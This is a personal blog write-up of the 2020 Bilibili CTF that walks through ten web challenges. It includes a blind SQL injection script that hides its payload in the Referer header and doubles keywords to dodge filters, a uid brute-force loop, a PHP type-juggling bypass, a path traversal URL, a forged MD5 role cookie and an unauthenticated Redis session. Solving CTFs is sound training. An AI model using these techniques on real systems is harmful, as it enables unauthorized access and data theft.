Bilibili CTF WriteUP

Bilibili CTF

前言

哔哩哔哩安全挑战赛(×)

哔哩哔哩谜语人挑战赛(√)

✔第一题 页面的背后是什么

题目地址: http://45.113.201.36/index.html

暗示你打开 F12 了,找到如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script>
$.ajax({
url: "api/admin",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
var input = document.getElementById("flag1");
input.value = String(data.data);
} else {
// 如果没值
$('#flag1').html("接口异常,请稍后再试~");
}
}
})
</script>

访问http://45.113.201.36/api/admin

1
{"code":200,"data":"4c178e27-c36fea80-a7ed3176-1d754700","msg":""}

完事

✔第二题 真正的秘密只有特殊的设备才能看到

和第一道题同一个页面

需要使用 bilibili Security Browser 浏览器访问~

页面中还有一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
$.ajax({
url: "api/ctf/2",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag2').html("flag2: " + data.data);
} else {
// 如果没值
$('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
}
}
})
</script>

直接访问http://45.113.201.36/api/ctf/2会提示 403

带个 UA

User-Agent:bilibili Security Browser

完事了

1
2
3
4
5
{
"code": 200,
"data": "d2131fcf-a2b3f44c-f214bd4d-fa060ecf",
"msg": ""
}

✔第三题 密码是啥

题目地址: http://45.113.201.36/login.html

纯属谜语题,猜就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
//falg 3

$("#submit").click(function(){

$.ajax({
url: "api/ctf/3",
type: "post",
contentType: "application/json",
dataType:"json",
data: JSON.stringify({
username: $("#name").val(),
passwd: $("#subject").val(),
}),
success:function (data) {
if (data.code == 200){
alert("flag is: " + data.data);
} else {
alert("用户名或密码错误~");
}
}
})
});
</script>
1
2
username:admin
passwd:bilibili

页面提示

flag is: 6addadbe-68ecd85e-a675abff-abec8179

✔第四题 对不起,权限不足~

http://45.113.201.36/superadmin.html

有些秘密只有超级管理员才能看见哦~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <script>

$.ajax({
url: "api/ctf/4",
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
} else {
// 如果没值
$('#flag').html("有些秘密只有超级管理员才能看见哦~")
}
}
})
</script>

F12 看一下请求头

Cookie:role=ee11cbb19052e40b07aac0ca060c23ee

发现华点!

1
2
3
>>> a = "ee11cbb19052e40b07aac0ca060c23ee"
>>> len(a)
32

试试把 role 换成Administrator的 32 位 md5

说真的这个也是很谜语,root/administrator/admin 都不行

然后GET http://45.113.201.36/api/ctf/4 完事

1
2
3
4
5
{
"code": 200,
"data": "47892d9e-f9014bb2-e2c09832-6625250e",
"msg": ""
}

✔第五题 别人的秘密

题目地址: http://45.113.201.36/user.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<script>

$(function () {


(function ($) {
$.getUrlParam = function(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);

var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});




</script>

这次猜不了了,直接爆破

1
2
3
4
5
6
7
8
9
10
for uid in range(100336889,99999999999):

params = (
('uid', uid),
)

response = requests.get('http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=False).json()
if response['code'] != '403':
print(response)
print(uid)
1
2
{'code': 200, 'data': 'ceb460a2-9d1e9100-1b0dd097-dcce2fb9', 'msg': ''}
100336914

看了一下空间,这用户好神秘

✔第六题 结束亦是开始

题目地址: http://120.92.151.189/blog/single.php?id=1

是不是一堆人暴力猜猜炸了啊 服务器挂了…

http://120.92.151.189/blog/end.php

你想要的不在这儿~

佛了,我还是搜搜大佬的题解吧,结果说扫目录可以扫到

http://120.92.151.189/blog/test.php

里面是 JSFuck 加密的内容,不贴了..

尝试一下 JSUnFuck

http://codertab.com/JsUnFuck

1
2
3
var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()

str1解码是程序员最多的地方

去 Github 搜一下str2

发现https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>

PHP 不会…请教了一下,构造了以下参数

http://120.92.151.189/blog/end.php?id[]=1

页面提示还差一点点啦~

下个参数应该就是文件地址了,结合之前的猜一猜

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

得到一个图片,保存后 NPP 打开搜索flag

得到{flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65}}

??????这不是第六题吗

草真的是,提交第 10 题成功了??

很喜欢出题人说过的一句话

结束 亦是开始

卡关了 白白

23 点 57 分更新,爆破拿到 Flag6 a2b0883c-ffbb8d17-9a3bbf1c-ed600c80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#https://www.zhihu.com/question/427113420/answer/1540971850
import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,100):
left=33
right=128

while right-left!=1:
mid=(left+right)//2
payload="0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
headers={
'Referer':payload
}
r=requests.get(url=url,headers=headers)
if len(r.text) == 5596:
left=mid
else:
right=mid
flag+=chr(right)
print (flag)

✔第七题

23 点 57 分更新

http://45.113.201.36/api/images?file=../../../flag7.txt

需登录,来自项目 Issue

✔第八题

服务器开启了6379端口,也就是Redis默认端口,直接上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS D:\TOOL\Redis>  .\redis-cli.exe -h 120.92.151.189  -p  6379
120.92.151.189:6379> keys *
1) "flag8"
2) "flag5"
3) "flag7"
4) "flag9"
5) "flag10"
6) "flag1"
7) "flag2"
8) "flag3"
9) "flag4"
10) "flag6"
120.92.151.189:6379> get flag8
"d436b982-2b81aa54-49a8d2db-87ab951a"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS D:\TOOL\Redis>  .\redis-cli.exe -h 120.92.151.189  -p  6379
120.92.151.189:6379> get flag1
"3b96173a-b3df4cdd-22d4c15f-261e7309"
120.92.151.189:6379> get flag2
"bd871042-1e09a130-3ddd4faa-cebdb048"
120.92.151.189:6379> get flag3
"c7f7a7c2-28b7f895-5432152b-6410e042"
120.92.151.189:6379> get flag4
"d338e3c8-93215105-258d79ba-b364e59c"
120.92.151.189:6379> get flag5
"612d1886-044898af-6c1e9dba-b58ad075"
120.92.151.189:6379> get flag6
"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
120.92.151.189:6379> get flag7
"b78ce2aa-10d03327-f2035f4e-55c17689"
120.92.151.189:6379> get flag8
"d436b982-2b81aa54-49a8d2db-87ab951a"
120.92.151.189:6379> get flag9
"b3238659-b81512e6-3a307c74-9877ecc5"
120.92.151.189:6379> get flag10
"e5653416-595b3d0c-4c2a57ee-c026350e"

大佬们说flag8就是这里拿到的,确实成功了,但是其他的 flag 在这里摆出来是为了什么?

第九题

时间到了..

可能突破口:http://45.113.201.36/api/images?file=../../../secret.txt

✔第十题

第六题中得到了flag10

Author

BakaFT

Posted on

2020-10-24

Updated on

2023-12-28

Licensed under

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×